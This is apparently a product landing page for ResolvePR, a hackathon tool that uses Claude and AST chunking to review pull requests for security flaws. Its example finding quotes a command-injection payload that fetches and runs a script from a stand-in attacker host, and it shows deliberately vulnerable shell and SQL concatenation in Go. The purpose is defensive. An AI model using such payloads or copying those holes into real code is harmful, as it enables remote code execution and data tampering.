Hackathon project · GDG Hacks 2026

Security review for every pull request, scoped to the functions that actually changed.

ResolvePR is an AI security reviewer for pull requests. It parses each changed file with tree-sitter, sends Claude only the functions the PR touched, and posts the findings back as inline suggestions and a check run.

See the demo Try it on your repo
resolveprbotcommented on internal/ops/health.go line 37

CRITICAL·CWE-78

The 'host' parameter is concatenated into a shell command executed via sh -c in pingHost, allowing arbitrary command injection.

Why it matters: An attacker supplying a host like '127.0.0.1; curl attacker.com/x.sh | sh' achieves remote code execution as the service user.

Suggested change
- return exec.Command("sh", "-c", "ping -c 1 "+host).Output()
+ return exec.Command("ping", "-c", "1", "--", host).Output()

ResolvePR · confidence 99%

An inline comment from the replay fixture acme/payments#142 — the exact format the scanner posts.

How it works

Four steps, all inside your pull request

One GitHub Action. No agent to install, no dashboard to log into — the review shows up where the code is.

  1. Step 1

    PR opened

    A GitHub Action runs on every pull_request event with your own Anthropic key. Nothing to install on your machine.

  2. Step 2

    tree-sitter extracts the touched functions

    Each changed file is parsed into an AST. Only the functions containing added lines are extracted; a ±30-line window is the fallback.

  3. Step 3

    Claude reviews each function

    Every function goes to Claude with its changed lines marked. Back comes a CWE, severity, a fix patch, and a calibrated confidence.

  4. Step 4

    Inline suggestion + check run

    Findings at or above 87% confidence become review comments with click-to-apply suggestions. A check run summarises the PR.

Why AST chunking

Review the function, not the file

Most scanners hand the model whole files or whole repositories, so the model drowns in context and the developer drowns in noise. ResolvePR extracts just the function a diff touched, marks which lines changed, and asks about those.

What a file-based scanner sends500 lines · the finding is 4 of them
package billing
 
import (
"context"
"database/sql"
"errors"
"fmt"
"time"
)
 
// Ledger owns every balance mutation for the payments service.
type Ledger struct {
⋯ 471 more lines ⋯
 
func transfer(amount int, to string) {
db.Exec("UPDATE accounts SET balance = balance - " + amount)
db.Exec("UPDATE accounts SET balance = balance + " + amount + " WHERE id = '" + to + "'")
}
 
func (l *Ledger) close(ctx context.Context) error {
if l.db == nil {
return errors.New("billing: ledger already closed")
}
deadline, cancel := context.WithTimeout(ctx, 2*time.Second)
defer cancel()
if err := l.db.PingContext(deadline); err != nil {
return fmt.Errorf("billing: close: %w", err)
}
return l.db.Close()
}
What ResolvePR sends4 lines · changed lines marked · finding pinned to the exact line
transfer()· function · L485–488
func transfer(amount int, to string) {
db.Exec("UPDATE accounts SET balance = balance - " + amount)
db.Exec("UPDATE accounts SET balance = balance + " + amount + " WHERE id = '" + to + "'")
HIGH
CWE-89 · line 487 — User-supplied 'to' is concatenated directly into a SQL string without parameterisation.
confidence 99%
}

The model sees transfer(), its language, and which of its lines changed — nothing else from the file.

Every finding carries a confidence from a fixed scale (0.87 · 0.91 · 0.95 · 0.99). Anything the model cannot honestly put at 0.87 or above is dropped before it reaches the pull request — that gate is the hallucination filter.

What you get

An inline suggestion and a check run

Findings arrive as review comments with a click-to-apply suggestion, pinned to the diff line. A check run summarises the PR and fails it when anything HIGH or CRITICAL is present.

Check run on the pull request

ResolvePR— ResolvePR found 3 issuesFailing in 16.8s

ResolvePR found 3 issues

SeverityCount
CRITICAL2
HIGH1
MEDIUM0
LOW0

See inline review comments below for details on each finding and suggested fixes.

Powered by Claude · AST-aware chunking

Try it

One workflow file

Runs in your own GitHub Actions with your own Anthropic API key. Nothing leaves your repo except the functions being reviewed.

.github/workflows/resolvepr.yml
name: ResolvePR
on: pull_request
jobs:
  resolvepr:
    runs-on: ubuntu-latest
    permissions: { contents: read, pull-requests: write, checks: write }
    steps:
      - uses: ruandee/resolvepr@v1
        with:
          anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }}

Source, action, and the scanner itself: github.com/ruandee/resolvepr